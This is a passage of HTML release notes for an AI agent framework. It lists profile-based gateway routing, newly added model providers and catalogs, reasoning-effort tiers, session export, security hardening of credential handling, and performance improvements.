<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
